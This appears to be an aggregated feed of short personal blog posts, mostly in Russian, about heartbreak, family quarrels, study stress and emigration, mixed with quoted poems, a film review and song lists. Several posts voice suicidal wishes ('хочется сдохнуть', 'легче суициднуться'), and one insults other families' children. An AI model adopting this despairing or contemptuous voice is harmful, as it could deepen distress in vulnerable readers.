Время 10, я уже лежала, слушала музыку, думала о смысле своей жизни, пытаясь не разреветься, как тут заходит мой единственный и неповторимый. Причем он же видел, как я уходила с рюкзаком, как он блять узнал, что я вернулась.

Сидел минут сорок выносил мне мозг о том, что со мной что-то случилось, что я ничего не делаю, что может мне снова стоит попить таблеточки, что раньше вот такая хорошая девочка была, все делала, училась, и так несколько раз по кругу, периодически гладя меня по голове и кладя свои руки мне на колени.

Он меня так всеми этими разговарами доводит, я себя еще больше чмом чувствую. Я говорю отстань, перестань, отъебись от меня, уйди, а он дальше стоит продолжает, я продолжаю покрывать, А ОН СУКА СТОИТ И РЕШАЕТ ВО СКОЛЬКО МЕНЯ РАЗБУДИТЬ, ЧТОБЫ ВЫСПАЛАСЬ.

А я сижу и думаю, куда бы ему въебать и что если бы его не было в моей жизни, то и не было бы всего этого говна, потому что главная причина моего хуевого самочувствия - ОН!

Мы сидим на лавочке под одним пледом, держимся за руки. Смеёмся. Все смеются и шутят вокруг. Майская ночь. И вдруг его: "Зачем ты уезжаешь? Зачем? Оставайся. Я не хочу тебя отпускать.". Слезы на глазах.

есть такоей проект на украине как дорогая мы убиваем детей

нанем работала психологом моя знакомая, работала с детьми как раз и самое обидное, что очень многое там просто постановка, она пыталсь помочь детям и родителям, но люди просто не хотели меняться, но суть не в этом сейчас а том, что просто я смотрю сейчас и не понимаю зачем таким людям рожать детей

они ростят уродов и выродков, а потом просто вымирает нация

украинские телешоу показывают большенство нашего населения, мне правда обидно

правда обидно

Я забыла как общаться с парнями. Иногда общаюсь с теми, перед кем ничего не строю. И как-то теперь страшно и не хочется совсем начинать с кем-то новым общаться. Даже представить себе сейчас не могу где может повстречаться мне человек, в которого я влюблюсь.

разве может это быть просто так?

Знаешь, я словно бы падаю. Падаю, падаю, падаю. Каждый день, каждые эти чертовы, чертовы выходные. Каждую яркую лампочку дискового шара, каждый следующий трек, каждый следующий шот, каждую сигарету. Это даже не обрыв и никакая не пропасть, не высотка и не мачта корабля. Просто, знаешь, слышишь меня, падаю с ног, из чьих-то рук, падаю, падаю, падаю. Каждый раз, когда пальцы нащупывают в кармане колесико зажигалки, успокаивающе холодное. Каждый раз, когда включают "ту самую" песню. Каждый раз, когда кто-то подходит со спины, руки на плечи кладет, а я поворачиваюсь и вижу этого человека первый раз в жизни. Каждый раз, когда в следующую секунду я его целую.

Милая моя, хорошая, сладкая, откуда же тебе было знать. Откуда могла знать я, что выйдет - вот так. Что будет наступать весна - а я перестану находить себя в городе, в реке, в счастливых людях, в доме, в хороших книгах. Что будет наступать уже вторая весна, когда я вдруг вновь стану вспоминать о тебе. Падать и вспоминать. Но по-прежнему держаться за то, что заставило о тебе забыть. Но держаться, знаешь, как-то кривенько, хлипко, скользкими, влажными, дрожащими ладошками, мыльными и в пыли. Так держатся, когда вроде бы и хотят отпустить, да повода нет. Потому и все равно, почти всегда. Незнакомые, незнакомые, незнакомые - и каждый - близко, рядом, там, где нельзя, там, где раньше, раньше, когда касались (например, ты) - чувствовалось. Словно каждый крошечный нерв начинался и заканчивался на губах. Словно вот тебя и не целуют еще - а ты уже чувсвтуешь, уже знаешь, уже боишься, уже не можешь ждать. Словно едва разведенный под ногами костер - а ты босиком. Теперь же - проще и повседневнее, чем поцелуи всех этих людей - только, разве что, душ по вечерам и кружка с чаем.

И с каждым новым - все это значит еще чуть меньше. Обесценивается, обесцвечивается, как яркие краски на солнце, гаснет, заканчивается. Не любится - да что там не любится - даже не ощущается. Как тогда, как раньше.

Знаешь, я так давно не возвращалась домой счастливой. Когда поздний вечер, темно, и идти нужно быстро, потому что дорога пустая и страшно - а ты не спешишь совсем, словно свет излучаешь, тепло, жар. То, что страшно - не существует, только ты, потому что счастливый. Даже идешь чуть медленнее, чтобы не расплескать, чтобы не перелилось через край. Вот уже год, как я не помню, когда возвращалась домой счастливой.

Потому что падаю. Падаю. Падаю. И не хочу останавливаться.

Потому что знаешь, что меня держит?

ничто

Действие второе. Мы уходим от всех. Ты два часа рассказываешь про свою любимую работу, про моря крови, антитеррористические операции.. Я делаю два негрони. Как обещала.

Правда ж. Чим менше ти розповідаєш про своє особисте життя, тим довше воно "особистим" і є. А то в наш час у людей ну ппц які довгі рученята.

Сегодня разговаривала с родителями, а они настаивают, чтобы я поступала на вторую вышку в Польше. И разразился спор… Не то чтобы я была против образования скорее против страны, где придется остаться. ещё 5 лет назад это была моя мечта- учиться в Польше, говорить на польском, стать частью этой страны и слиться с ее населением. Но сейчас, пожив целых 3 года тут и прочувствовав сполна и культуру и окружающих людей, я поняла для себя, что это наверняка не та страна, где я бы хотела остаться и тем более не место, где в последствии поселились и жили бы мои дети. Конечно, зарплаты, образ жизни тут на порядок выше, но менталитет отличен от нашего и нестеты чужд для меня. Их шутки, юмор, манера поведения, разговоры, настроение- всё такое не родное и просто-напросто не МОЁ. И дело тут не в том, что я скучаю по дому- с годами привыкаешь к разлуке и относишься к ней проще и смиреннее- а в том, что мне не хвотает наших людей, именно наших, а не украинцев тех же, которых здесь хоть отбавляй. Я горжусь и люблю Беларусь всем сердцем и дорожу тем, что я родилась и вырасла на наших мультиках, сказках, играла в наши игры, типа казаков- разбойников, строила шалаши и пела патриотичные песни на 9 мая. И мне бы так хотелось, чтобы часть нашего детского мира досталась и моим будущим детям, но я также осознаю, что Европа во многих отношениях может дать более достойное будущее… Так что это так запущено, странно и непонятно… Единственное в чем я уверена, так в том, что Польша - не моя страна и мне бы не хотелось останавливаться в обучении и оставаться в ней.

в моей жизни ничего нет- но я и из ничего смогу сделать трагедию- разве не трагично, когда ничего нет в жизни?

Действие первое. Куча народа, все бегают, улыбаются. В воздухе запах костра и тепла. Я улыбаюсь тебе, ловлю твои взгляды. Мы не вместе, но ниточки есть. И вот ты обнимаешь меня и прижимаешь к себе. При всех. Меня. К себе.

На самом деле все так сложно с учебой, все так разом навалилось, что руки опускаются. Я нервничаю, делаю, нервничаю, переделываю, ругаюсь с мамой. Ирэн все расстраивается, что видимся редко. Но все вроде хорошо. Она справится, я верю) Знаю, что я сейчас невыносима, разве что не реву.
Пришлось купить макет, и теперь денег в обрез.
И что самое интересное - я получаю своеобразное удовольствие от такого темпа жизни. Когда вокруг тьма беспросветная, жопа жопошная, и я барахтаюсь из последних сил.
Но я учла ошибки прошлой сессии и стараюсь высыпаться при первой же возможности. Это такая распространненная ошибка первокурсников здесь - принебрегать сном, а потом все болеют, у всех нервы, головная боль и т.д.
Некоторые до сих пор так делают. Я не могу так жить - почему-то очень себя жалко так работать на износ.
Сегодня шла рассказывать очередной пересказ по англискому и как всегда нервничала уже на грани нормы. А потом резко остановилась и решила, что не буду я нервничать и скулить больше. Буду тем человеком, что преодолел пиздец в учебе и все получилось как надо. Расслабилась и отлично рассказала все.
Надо продолжать в том же духе.
Смогу

Вечерняя пробежка-лучшее, что могло быть в моей жизни.
Никогда бы не думала, что это так круто. Правда, вы многое теряете, если не бегаете или не катаетесь на роилках/велосипеде.
Иногда случается такая штука, как лень, но я стараюсь её преодолеть.
С радостью бы бегала в своём городе, но жаль там нет рядом такого прекрасного парка, как Муринский.

Очень бесит, когда нет времени, чтобы написать хотя бы крошечный пост, но запостить картиночку могу. Но ничего! Сегодня я научилась открывать вк с рабочего компьютера (ну как научилась, произошло чудо), может быть буду в свободную минутку себе в личку, а потом копировать сюда.

Иногда как хочется какой-нибудь пост забабахать, но зачетная неделя так близко, а заданий так много…

Уже который день ни строчки и слезы. И я даже не знаю, что меня печалит больше.

Будь, пожалуйста,

послабее.

Будь,

пожалуйста.

И тогда подарю тебе я

чудо

запросто.

И тогда я вымахну -

вырасту,

стану особенным.

Из горящего дома вынесу

тебя,

сонную.

Я решусь на все неизвестное,

на все безрассудное -

в море брошусь,

густое,

зловещее,

и спасу тебя!..

Это будет сердцем велено мне,

сердцем

велено…

Но ведь ты же

сильнее меня,

сильней

и уверенней!

Ты сама

готова спасти других

от уныния тяжкого,

ты сама не боишься

ни свиста пурги,

ни огня хрустящего.

Не заблудишься,

не утонешь,

зла

не накопишь

Не заплачешь

и не застонешь,

если захочешь.

Станешь плавной

и станешь ветреной,

если захочешь…

Мне с тобою -

такой уверенной -

трудно

очень.

Хоть нарочно,

хоть на мгновенье -

я прошу,

робея, -

помоги мне

в себя поверить,

стань

слабее.

1962

Роберт Рождественский.

Радар сердца. Избранные стихи.

Москва, "Художественная литература", 1971.

Поднимись на крышу дома, встань у самого обрыва.

Чувствуешь, как руки обхватили твою спину.

Нет, не те, что ты хотела

Ведь от тех немели части тела

Эти слишком мягкие, пустые.Не наполены энергией тебя

Если повернуться попросили

Врядли б ты заставила себя

Какое счастье! Какое счастье, что я просыпаюсь ночью. Просыпаюсь от того, что он дернется во сне или прошепчет невнятно полнейшую глупость. Просыпаюсь от того, что берет меня за плечо и разворачивает к себе, чтобы обнять. Просыпаюсь от того, что руки оплели меня так крепко, что стало тяжело дышать. Но я готова не дышать, ну правда.

Ты можешь быть прекрасным собеседником, романтичной натурой.Ты можешь снести все стены, что стоят у тебя на пути, достать мне самый необычный цветок в пустыне, засыпаной снегом.Прыгнуть с парашютом в альпийские луга, чтобы доказать свои чувства.

Но есть одно, Но

Я не люблю тебя, понимаешь?!

Еще в понедельник я сходила в кино, но все как-то не было времени сесть и накатать пост. Его и сейчас нет, если честно. Так что быстренько. В двух словах.

Скажу честно, что я шла на фильм настроенная очень скептически и вообще думала, что буду сидеть с фейспалмами все-время (как на "Эре Альтрона"). Но тут как-то обошлось.
По персонажам даже особенно проходиться не хочется. Старички все как всегда. Кэп весь фильм бегал и орал FREEEEEDOM. Старк заманивал к себе маленьких мальчиков с помощью денег, крутых девайсов и обещаний заменить колготки на нормальный костюм.
Баки… чего его просто не оставили в Румынии есть сливы?

Неожиданно очень мне понравились в этой части чел Муравей, чел Паук и Пантера.
Муравей. Ну, он вообще такой забавненький и, как по мне, можно было больше его в фильм засунуть. Он очень здорово разрядил обстановку.
Паук. С этим у меня все сложно. Я вообще не хотела никого нового на эту роль, но после того как увидела этого паренька в фильме "В сердце моря", то сразу изменила свое мнение. Пацан чертовски хорош. Он отлично играет. И именно такого Паука мне хотелось увидеть на экранах. Подростка, который парится из-за домашки, из-за нехватки денег и хочет изменить мир к лучшему. И который не может вовремя закрыть рот. Да, можно долго говорить, что вообще-то он должен был бы примкнуть к Кэпу, если подумать, а Тони его просто купил, но мне на это похуй. Я просто хочу сольный фильм про этого пацана.
Пантера. Я в восторге! Какой потрясающий мужчина! Король, мать его! И, как по мне, он реально там был самый умный. Тот, который в итоге понял, что же именно хотел сделать антагонист фильма. Про этого кошака тоже сольник теперь жду.

Концовка… у меня сложилось ощущение, что после долгой и тяжелой семейной жизни Кэп и Тони со скандалами и битьем посуди развелись, Кэп кинул Старку свой щит практически в лицо и укатил в закат со своей первой любовью аки Баки Барнс.
Простите, но это то, о чем я думала весь фильм

Конечно, не шедевр, но 8 из 10 поставлю легко.

— Бог, а можно мне любовь, отношения и всё такое?
— Пхахаха. Ладно. Вот, это тебе, держи.
— Но это же бухло…
— Всё, мне некогда.

Эльчин Сафарли

Максим Горький

Марк Леви "Где ты?"

Черт… Вроде и не чувствую ничего, и ничего не хочется, и ничего не надо, и разговаривать ни с кем не хочу, и вроде все нормально. Но вот чертовски хочется Его. Просто невероятно хочется Его. Его такого загадочного, непредсказуемого, теплого/нежного/родного. Я так безумно надеюсь что Он напишет. Я очень хочу с ним поговорить! Я очень хочу, чтобы Он мне написал и мы поговорили.
Я очень хочу верить что магия вью существует!
Пожалуйста, пусть Слава мне напишет.
А то пишут все, кроме Славы… А вот пусть и Он мне напишет. Аминь

Я знаю, что я сейчас вообще никого не удивлю, но последние пару месяцев чаще всего я думаю о работе! xD которую никак не могу найти) думаю о том где блять взять денег и прочих мирских вещах. Ну а в прошлой жизни, когда вопрос трудоустройства не стоял для меня столь остро, чаще всего я думала о людях) Разных, тех, кто был в моей жизни, о моих отношениях с ними итд) так, пожалуй, было всегда. Люди всегда интересовали меня в первую очередь)

Я как-то рассказывала о мужчине, который постоянно приходит к нам в магазин и покупает мне шоколад) На протяжении уже месяцев 4) Он мне чем-то симпатичен) Хотя лет ему совсем не мало)

Херня в другом, мне нравится еще один молодой человек, он прям в моем вкусе) Он со мной флиртует не плохо тоже

Финал и экшен

Он его сын;DDDD

НИКОГДА НИКОГДА НЕ ВОЗВРАЩАЙТЕСЬ К БЫВШИХ. Расстались - разбежались как в море коробки. Точка. Все. Если вернёшься, будет хуже. И да, люди не меняются, а только преподносят нам сюрпризы.

змінилась після того як пішла вчитись на цього психолога…

змінилось все: круг спілкування, люди поруч, пріорітети, страхи, почуття, до себе і людей.
коли знаходиш в собі все все все, ти аудіал чи візуал, екстраверт чи інтраверт, і це тільки перший рік.
мало того, ти знову починаєш шукати себе…кароч

бля

День 78: Вы бы предпочли что бы Вам льстили или говорили горькую правду?

Я всегда, при любых обстоятельствах предпочитаю горькую правду. Я всегда хочу адекватно оценивать себя и свои возможности, а это невозможно сделать без людей, который полностью искренни с тобой.

Если мне не идет платье, пожалуйста, скажите мне об этом! Чтоб я больше не ходила по городу как лошара.

Если не подходит цвет помады - скажите тем более!!

И так я отношусь абсолютно ко всему в жизни. Да, пускай правда временами может быть горькой, но она все-равно значительно луче самой сладкой и неискренней лести.

Мне сложно принимать данность, что я могу вот так просто взять и потерять человека, который слишком много чего дал и наобещал. Мы построили слишком много всего вместе, как в реальности, так и в планах на будущее. Неужели вот так можно взять и оставить человека со всем этим дерьмом? Как поверить потом другим? Их обещаниям, что они не оставят тебя ни при каких условиях, что ты - навсегда. Сложно уйти от такого яркого нарисованного, но не воплотившегося в реальность. Проще цйти, когда тебе ничего не давали и ты не давал, и обещаний не было.

Я запустила все до того состояния, что мы чуть не расстались. Из-за моего ебанизма - страдаю теперь и сама. Все решилось отдыхом друг от друга на 3-4 дня. С каждым ебаным днем мне сложне. Я читаю его "хочу дать нашим детям то, чего когда-то не было у меня", "я всегда буду рядом, что бы не произошло" и мне хочется верить, хотя не очень получается, что это очередной пиздеж и не сбывшиеся обещания. Завтра я еду к нему. Завтрашний вечер - самое худшее и сложное, что только может произойти. Меня просто рвет на части. Дико страшно переступать порог находясь в подвешенном состоянии. с каждым часом все сложнее и сложнее. Хочется сдохнуть, это страшно.

2 года, ровно столько времени мне потребовалось для того, чтобы осознать, что моя жизнь дерьмо и всё, что я делала до этого момента было настолько ущёрбным и незначащим, что мне даже стыдно.
2 года я заходила в этот блог пытаясь сделать что-то своё, оставить свой след в этом мире, но вместо этого я лишь лайкала здесь чужие постики и качала картиночки.
Да -да, 2 года! Знаете, что произошло за эти 2 года? Правильно - дерьмо. И я не понимаю почему.
И сейчас, когда я нахожусь на дне я хочу подняться, я хочу быть чем-то другим. Хочу доказать, что я чего то стою.
И сегодня я обещаю в первую очередь себе изменить, сломать, возможно убить предыдущую себя для того, чтобы моя мама мной гордилась.
Поехали.♥

Кажется начинаю влюбляться. Мы много времени проводим вместе. Мне с ним невероятно легко и это самое лучшее чувство

Эльчин Сафарли. Угол её круглого дома

Эльчин Сафарли. Угол её круглого дома

Эльчин Сафарли. Угол её круглого дома

Ну, привет…

Сентябрь 2011-го стал причиной моего присутсвия здесь. Тогда мне было 14 и все открывалось впервые…

[Сейчас 12 мая 2016 года. Через месяц мне 19. По сценарию, написанным детской рукой, ставится спектакль, а если быть точнее, то первый акт уже сыгран. Автором было задуманно, что главная героиня отправится в самый главный, многочисленный и перспективный город многонациональной и Великой России. Там же она найдет себя как режиссер чего-то выдуманного и известного только ей, а сцена продолжит быть ее спутницей…(продолжение следует. . . ) ]

Да, все верно. Я уже почти год живу в Москве, каждое утро встречаю своих в последнем вагоне на зеленой ветке(Замоскворецкая линия) и пью на бегу невкусный кофе. До метро я добираюсь в вонючей и душной электричке, где нет-нет, да обязательно обдаст тебя запахи чьего-то вчерашнего веселого застолья. Чаще и вероятнее всего домой я возвращусь не раньше 23:00, с натертыми плечами от полного бесполезными вещами портфеля. Пока лифт достигнет нужного этажа голова полна идей коротания ночи, но неуспеют ноги переступить порог, эта нахалка тут же скомандует всему телу завалиться в каком-то углу. Не достигнув кровати, сон дразнит мальчишкой, в которого безумно влюблена в школе(кстати, об этом я узнала только в институте), горячими булочками, домом…

Дома совсем все по-другому. С момента переезда приехала во второй раз. Вот сейчас я сижу на своем стуле, за своим столом, стучу по клавишам своей клавиатуры(сколько неловких и счастливых моментов мы с ней пережили), пью чай со своей смородиной и из своей кружки, которую могу запачкать помадой. А раньше ведь не приходилось красить губы… До сих пор висят списки моей литературы, знания которой пришлись очень кстати.

Знаете, так глупо наслаждаться домом: своей комнатой, своим рабочим местом, его атмосферой, в последние минуты перед тем, как его покинуть. Хочется вместить все это в себя. (Да, уж ! Мало я в себя запихала… ;) И в то же время болезненное желание оставить все здесь - раз и навсегда…..

скажи,
сколько раз
нужно разбиться вдребезги,
чтобы стать для тебя тем самым особенным?

— Энди Алишин, "Пластмассовая любовь"

"Любишь ли ты меня? "
Для тебя, должно быть, это странный вопрос - конечно любишь. Но любишь ли ты меня? Любишь ли ты так, чтоб это мной постоянно чувствовалось?
Нет. У тебя не любовь ко мне, у тебя - вообще ко всему любовь. Занимаю в ней место и я (может быть даже большое) но если я кончаюсь то я вынимаюсь, как камень из речки, а твоя любовь опять всплывается над всем остальным. Плохо это? Нет, тебе это хорошо, я б хотел так любить.

Владимир Маяковский к Лиле Брик
1—27 февраля 1923, Москва

Кажется, сегодня пришло окончательное завершение всей истории с Юрой. Знаю-знаю, я повторяю это после каждого поста, но. Сейчас все действительно закончилось.

Мы поддерживали время от времени общение всю зиму и весну, то он проявлял инициативу, то я.

А теперь он оказался в Москве. Написал мне, попросил приехать на Казанский, чтобы проводить его. А я что?

А я не смогла. Я общаюсь с человеком больше года, но не смогла себя заставить и поехать к нему. Во мне как будто все просто орало: "неет!" причем громко так орало.

Это глупо и по-детски, но мне легче суициднуться, чем встретиться с Юрой сегодня. Я в августе собираюсь с Мари ехать в Казань. Обещала себе, что если приеду, и он согласится, то мы встретимся.

Я не могу себя заставить себя поехать к нему.

Мне безумно жаль его, мне безумно ненавистна эта ситуация, а на душе крайне погано.

Но такое чувство, как будто он не просто возвращается к себе домой в Казань, а как будто улетает в другую страну навсегда.

смотри: я люблю тебя и выбираю тебя,
день за днем, даже когда мы на сумасшедшем расстоянии.
говорят, надо бороться за любовь. бороться надо с собой,
вернее, со своими страхами, сомнениями, гордыней.
и я борюсь.

Анна Парвати "Индийский цикл"

люди с таким упоением говорят о любимых вещах, любимых людях, что их можно слушать бесконечно. рассказы различных историй, происшествий и случаев, которые связаны с их любимыми предметами.

это прекрасно, когда люди заинтересованы чем-то, потому что эта заинтересованность чаще всего спасает их от грусти.

ощущение,
будто я стою посреди переполненной народом комнаты,
кричу во весь голос, а никто не слышит.

Сергей Лазарев на Евровидение 2016 с песней "You Are The Only One"
Достойно, вам не кажется? Несмотря на всю ванильность слов, мне очень даже понравилось.

Даже болеть приятно когда твоего выздоровления ждут как праздник.
(улыбка)

Иногда я все-таки подаю признаки жизни. И этими признаками является уже сложившаяся по традиции рубрика песенок и фоточек. Но фоточки вы можете сами глянуть в моем алтаре (ака инстаграме), а песни всегда в доступном прослушивании на моей странице вк. Но кто не любит красивые картинки и красивые названия песен? Так что enjoy!

calvin harris ft. rihanna – this is what you came for (just a gent remix)

rüfüs du sol – you were right (ki:theory remix)

baauer – one touch (feat. alunageorge & rae sremmurd)

zonderling – keep on (feat. bishøp)

beyoncé – 6 inch (feat. the weeknd)

hucci & gravez – bless

andru – sorry

deft – for sudden
maduk – got me thinking (feat. veela)
drew love – sexcapades
rüfüs – innerbloom (what so not remix)
awolnation – run
tourist – to have you back
odesza – iplayyoulisten
red hot chili peppers – dark necessities
chvrches – clearest blue (gryffin remix)

фото музыка картинки некто твиттер
♥

Я же не рассказывала..У меня Артем приехал 7 числа.

И что-то не знаю я

Чуть позже напишу про свои ощущения и чувства

Если после прочтения книги в тебе не изменилось абсолютно ничего, даже самой малости, то читал ты эту книгу зря.

Не читать книги, которые не оставят следа.

Не читать книги, которые читать не хочется. Никогда.

1) "Человек, наступивший на себя, всегда светел".

2) Если не задевать наши болевые точки, снаружи нас не пробьет даже бревно. Искать причины в себе.

3) "Нет величия там, где нет простоты, добра и правды".

4) Всё к лучшему.

5) "Счастье - это когда тебе ничего не нужно в данный момент, кроме того, что уже есть". Чувство счастья одномоментно.

6) Не приумножать раздражение, злость, гнев.

7) "Любишь в пропасть прыгать - люби и косточки за собой подметать".

8) "Это пока не битва, а только дорога к ней".

9) "Думать каждый день о черном дне - значит делать черным каждый день".

Мне важно, чтобы ты был рядом. Как можно быть на столько зависимой от одного человека? я больная, истеричка! Надо просто взять себя в руки и стерпеть. Ведь, после дождя всегда вылазит солнце. А может я опять себя накрутила? Может все хорошо? Может он до сих пор меня любит? Может….

Долгопупс тире Лонгботтом уже не тот
Да, я не могла не прокомментировать сей факт

i'm still trying to get over a boy five months after a break up and work at levi's at the moment. I miss the boy and the town he lives in like crazy but as long as i'm busy, i'm fine. I moved in with a girl who is very lovely and fun to be around and I like hanging out with her. I just got a pair of new levi's two sizes bigger than mine and i need a belt to prevent the jeans from falling off me but i'm still happy about them. I think I'm doing a little bit better. I don't cry every day anymore.

Небольшая порция некого подобия нытья.

Знаете, что самое ужасное в прекрасном ночном звездном небе?
То, что оно мне напоминает некто и наши разговоры о космосе и астрономии.
И вместо того, что бы получить душевный оргазм от созерцания неба, я начинаю грустить и вспоминать все это. Слегка обидно и даже больно.
А еще я вспоминаю то, как он обещал, что подождет. Но не подождал. Хотя возможно я сама виновата, но…он же обещал…

Не то ненависть, не то нечто другое…

о феминизме беседы ведем зато

почему нельзя просто ПОТРОГАТЬ МЕНЯ, просто возьми и БЕРИ, ну ебана, НУ Е Б А Н А

Ed Sheeran – Photograph

Любовь может ранить, иногда любовь причиняет боль,
Но это единственное, что я знаю.
Когда становится слишком тяжело, знаешь, порою может быть слишком тяжело, -
Только любовь и заставляет нас почувствовать себя живыми.

Недавно я рассталась с парнем, ну как я, инициатором был он. мы встречались на расстоянии все было хорошо, настолько, что я вот-вот должна была переехать к нему, но потом что-то пошло не так… все пошло не так, видимо он разлюбил, а я вот к сожалению нет. но, суть не в этом, есть проблема, которая мучает меня кадую секунду. и это проблема - надежда. надежда, что все будет хорошо. но как будет хорошо, если ничего нет. не знаю откуда, и как появилась эта надежда, но я не могу избавиться от нее. каждый раз твержу себе "все кнчено, ничего не будет, он не любит тебя" я как будто обманываю себя этими словами. что делать не знаю. такого раньше не было, даже, когда встречалась с парнем 3 года. и так, главный вопрос: КАК УБИТЬ НАДЕЖДУ?

И с кем разговаривать, а разговаривать ли? Вытаскивать ту, с которой отдалились. Почему я? Ну одна в китае, другая в соседнем городе, еще одна болеет, а мой на концерте. "И это все твои друзья?" Ну да. Те, с кем я хочу увидеться, я же не ты.

Я стала тётей. Дважды. В квадрате. У меня родился племянник. 3600 - маленький комочек счастья. Я счастливая тётя на планете

Cижу в своих заграницах, радуюсь жизни и болею за Серёжку. так получилось, что практику я проходила в шведской секьюрити-компании, чуваки из которой сейчас охраняют ведущих евровидения - Монса и Петру. Ещё за пару недель до полуфинала, когда начались первые репетиции, те чуваки похвалили визуальную составляющую выступления России, хотя и отметили, что песня довольно типичная для Евровидения.
И вот вчера их слова полностью подтвердились - номер был впечатляющий. Даже не пожалела целого евро и проголосовала :D Буду смело надеятся на победу России в этом году.

А вы за кого более и смотрите ли вообще?

Говорить обидные вещи все мастера

тут у нас дождь проливной и я в темноте строчу быстрее, чтоб пойти пораньше купаться - эт попытка новой привычки, потому что надоело спать с мокрой головой да и вредно для волос. всю неделю мучалась с антиплагиатом, еще не знаю вышло ли… 9 мая ела фронтовую кашу, выступали и с утра, и позже, и вечером. Еще прокатились на веселых горках с мужем (на бесплатные билеты, которые достались за участие в концерте), а на следующий день с утра на пед совет поехала. сегодня более-менее нормальный день, пока я всё успеваю, еще попрошу мужа почитать мне книгу, потому что у меня устают глаза. еще у меня появилась идея к годовщине… а в саму годовщину я должна работать на конкурсе -_- уж не знаю как выкручусь, посмотрим. в субботу смотрела танцы и холостяка, потому что мне тупо не с кем было поработать го го! и я не знала куда себя деть, настолько уже привыкла. пускай это будет событием, отдохнуть получилось только один день - 8 мая, у мамы, хотя я все равно ходила с утра на работу >_<

Как можно отпустить это паршивое чувство любви? Как не думать про это? Разговорами вк с незнакомцами, гулянием в парке, бухая в кафе? Когда оно душит в середине и потихоньку убивает.А я до сих пор жива. Хладнокровность - решение всех проблем.

стоит ли в себе губить гедониста и эстета (кхм-кхм, апчи, филона), если:

а) на носу важная защита практики и стоит лучше подготовиться;

б) если решилась заработать, сделав истории болезни за другого, но как-то и не пишутся они.

соберись же.

Максимальная любовь. Только не сегодня. "Сейчас из тебя это полилось". Спасибо. Даже разговаривать не хочется

мужчина не должен говорить, как сильно нуждается в женщине, он должен сделать так, чтобы она сама это почувствовала.

кажется это назвается - девушка*

Но все равно, наперекор всем бедам
Ты дорог мне. Я отправляюсь следом.

Уильям Шекспир "Двенадцатая ночь, или как пожелаете"

— посмотри как нереально красиво!
- ты нереально красивая, а это так себе.

*what so not & ganz – lone (feat. joy)

с каждым днем я все больше не понимаю, чем я заслужила этого человека и как он терпит меня вот уже пятый месяц. но я живу этим каждым днем.

Каким бы хорошим не было прошлое, смело ставьте на нем крест и идите вперёд.

как же я тащусь с этого момента *_*
(простите, если для кого-то это спойлер, но этот момент должен быть в моем блоге)

Ты. Я хочу тебя, с тобой, к тебе, о тебе. И я знаю, ты хочешь того же. Ведь мы оба сошли с ума.

Я не очень люблю спать, когда ноги целиком под одеялом. Каждое утро, он уходит на работу, когда я ещё сплю. И каждое утро он заботливо укрывает мне ножки)

Вчера я в очередной раз сидела за рисунком на кухне. Приходит он:"здравствуйте, меня зовут Василий Сироткин, а это моя девушка, будущий архитектор, Ирина Федорова. -пауза- В будущем Сироткина…." Ещё год назад я бы отмахнулась от этих слов, хи-ха да ха-ха, но мне почему-то стало так приятно. Моё маленькое счастье.

Почему я не могу жить как нормальный человек?

Завтра сдавать курсовую, две экспертизы, рно по синтаксису, а я не сделала нихуяяяяяяя.

Вернулась вчера с работы в 11, проспала сегодня до двух, встала и поехала на пары.

Еще вдруг снова начались месячные, ну как, они типо не заканчивалась, хотя уже неделя считай идет, пересралась, что вдруг кровотечение открылось, но вроде сейчас все норм.

Хочется лежать и плакать, плакать и лежать, тошнит, болит голова, хочется заснуть и не просыпаться сутки.

Костя решил, что я не хочу с ним общаться (с чего бы это), жаловался сегодня моей подруге перед парой, пока я спокойно в маршрутке ехала. Решила перетащить в общаге к ней все вещи, чтобы не пересекаться с ним и с моими соседями, так блять встретила его по пути, сидел по телефону на подоконнике болтал. Он мне помахал, я отвернулась и прошла мимо. В - везение.

Вообще такое состояние херовое, слезы наворачиваются постоянно. Только захожу в свою комнату в общаге, как настроение падает ниже плинтуса, даже если оно было очень хорошим. Начинаю либо молчать, либо раздавать маты направо и налево.

Собрала на всякий случай все необходимое в рюкзак, если кровотечение снова начнется и придется ехать в больницу.

Гспди, как же все заебало.

«Фашистам хорошо там, думал он, им тепло и уютно, а завтра ночью мы их убьем. Странно все получается, и лучше об этом не думать. Я наблюдал за ними весь день и вижу, что они такие же люди, как и мы. Я мог бы подойти сейчас к лесопилке, постучаться в дверь, и они приняли бы меня радушно, вот разве что им приказано опрашивать всех неизвестных людей и требовать от них документы. Значит, между нами стоят только приказы. Эти люди не фашисты. Я называю их так, но они не фашисты. Они такие же бедняки, как и мы. Не надо им было воевать против нас, а мне лучше не думать о том, что их придется убить.» Хемингуэй, Эрнест. «По ком звонит колокол"

Впервые за все время она замолчала. Обычно, когда мы ругались с ней или у нас просто было недопонимание, ей всегда удавалось меня раздавить и завершить разговор какой-то очень обидной фразой. Я же просто уходила в свою комнату, а когда слезы высыхали, накидывала на себя куртку, брала сигареты и наушники, и отправлялась курить. Сегодня победила я. Впервые, почти за 22 года, она не нашла слов. "- Я же не лезу в твои личные вещи, и ты в мои не лезь. - Ну вообще-то ты пока еще моя дочь. - А ты моя мать. Значит, ты можешь все обо мне знать, а я о тебе - нет? Так получается?" После этого последовала тишина. Да. Где она была, когда я переживала самые страшные вещи в моей жизни? Она просто заставляла меня вытирать слезы и идти на работу, как ни в чем не бывало. Или вовсе не интересовалась, от чего мои глаза на мокром месте. Я никогда с ней ничем не делюсь. Если рассказать ей все - она меня этим же загрызет. А мне без того тошно.

сидишь пересматриваешь в сотый раз вото знакомых. все целуются, обнимаются. а ты как лох сидишь. не можешь отношения нормальные построить

Я отдаю должное каждому, кто имеет со мной дело. Я сложная, эмоциональная и упрямая. Моё настроение постоянно меняется, и я могу заткнуть вас, если вы меня раздражаете. Иногда я задумываюсь о том, как люди вообще меня терпят.

знаете, что я сегодня как-то странно поняла, что дико мне приятно, меня дико греет мое умение ждать и ждать не кого-то, не чего-то, не терпение, а ждать тебя, осталось совсем немного, совсем чуть-чуть и я тебя дождусь наконец-то

но я умею ждать

Посмотрела Civil war… Чуть не кончилась.

Самое лучшее лекарство от надумывания и стресса - готовка, лично для меня. Быстрее отвлекаешься от этого негатива, обдумываешь, решаешь какие-то вопросы в голове, находя пути, которые не приведут к большему конфликту.

Причем, поняла я это не так давно. Сейчас хоть я и зла на него за невыполнение просьбы, однако захотелось ему вкуснятинки сделать. Любимый мужик как никак. Пошла и нафигачила борща, пюре и куриные ноги в духовке запекла. Перед этим сгоняла в магаз, потом пока варила картошку для пюре, поняла что для борща её не осталось, пришлось идти в магаз ещё раз. Решила по пути ещё бутылочку вина прихватить. Так что, у нас сегодня романтик, плавно перетекающий в постель, в ту самую, незаправленную :D

